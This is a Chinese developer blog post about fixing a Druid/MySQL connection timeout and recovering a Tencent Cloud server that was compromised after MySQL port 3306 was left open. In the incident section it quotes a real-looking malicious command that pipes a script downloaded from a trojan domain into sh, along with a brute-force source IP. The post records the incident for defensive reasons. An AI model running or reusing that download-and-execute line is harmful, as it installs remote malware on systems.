项目实训2
1. druid连接池异常
1. 背景
之前用durid连接的服务器上的mysql数据库,在日常本地启动项目的时候,突然出现了异常
2022-03-21 15:17:04,812 ERROR [main] c.a.d.p.DruidDataSource.init(943): init datasource error, url: jdbc:mysql://101.35.109.5:3306/GuKe
com.mysql.cj.jdbc.exceptions.CommunicationsException: Communications link failure
The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server.
2. 过程
因为为了调试方便,买了腾讯云的云服务器,同样,为了省下再购买云数据库的钱,就直接在云服务器上搭建了mysql服务,开放了3306端口,开放了腾讯云的安全组,直接本地连接云服务器上的mysql数据库。所以数据库连接的是用ip地址,用IDE开发好后,于是部署到远程云服务器上。
这里说到开放端口,还有一个小插曲,我在腾讯云上购买的云服务器突然在某一天带宽被几乎占满,一度到ssh连接都连接不上的情况,这个在另一篇博客中会细说。悲惨的事,最后迫不得已重装了系统,重新安装、配置各种环境。
报错信息如下:
3. 解决
1.首先检查了数据库连接地址(配置文件中的url)是否正确:没问题,毕竟之前都能正常连接并且没有作更改
2.有可能是由mysql5数据库的配置引起的。mysql5将其连接的等待时间(wait_timeout)缺省为8小时。在其客户程序中可以这样来查看其值:
28800 seconds,也就是8小时,如果在wait_timeout秒期间内,数据库连接(java.sql.Connection)一直处于等待状态,mysql5就将该连接关闭。这时,你的Java应用的连接池仍然合法地持有该连接的引用。当用该连接来进行数据库操作时,就碰到上述错误。
这里我选择将mysql的全局变量wait_timeout的值修改为最大。查看mysql5的手册,发现windows和linux下wait_timeout的最大值分别是24天和365天。
(1).在文件my.ini的最后增加一行:wait_timeout=1814400。linux下位置为/etc/my.ini
(2).重启mysql。
最终解决。
2. 云服务器异常
1. 背景
同样是日常调试的时候,发现ssh连接怎么都连接不上服务器,
2. 过程
在网上各种搜索22端口的ssh连接连接不上的原因,看到了有可能是带宽占用过高而连接不上,所以登录腾讯云云监控控制台,发现带宽确实占用异常严重,导致无法使用ssh连接服务器。
没有办法,无法登录也无法查看哪些服务占用的带宽。
最后只能使用腾讯云提供的VNC登录,可以在ssh等连接方式无法使用的时候应急使用。
-
登录 云服务器控制台。
-
选择待检查的云服务器,单击【登录】。如下图所示:
-
在弹出的 “登录Windows/Linux实例” 窗口中,选择【其它方式(VNC)】,单击【立即登录】,登录云服务器。
-
在弹出的登录窗口中,选择左上角的 “发送远程命令”,单击 Ctrl-Alt-Delete 进入系统登录界面。如下图所示:
-
下载流量监控工具
yum install iftop -y
- 安装lsof并执行
yum install lsof -y
但是查找了半天,也没有发现占用带宽过大的服务 or 请求。
最后问了腾讯云客服,发现可能是因为开放的端口导致服务器被入侵了:
1、服务器内有密码爆破成功的记录:58.194.168.192----ssh 山东-济南市
2、服务器多次请求访问存在木马病毒的域名:oracle.zzhreceive.top
3、服务器内有执行高危命令下载木马脚本文件:/bin/sh -c wget -q -O-
http://oracle.zzhreceive.top/b2f628/b.sh | sh
最后只能重新装系统,提前将原服务器mysql数据库中的数据全部备份了一份。
3. 总结
之后也就受教训了,提前备份好了服务器的定期快照、数据快照以及系统镜像。
在项目上线之后关闭mysql3306端口的外地访问,直接在项目中使用127.0.0.1访问。
但是由于本人本地外网IP不固定,所以无法使用安全组或者系统防火墙禁止除了本地外网IP之外所有IP的登录请求。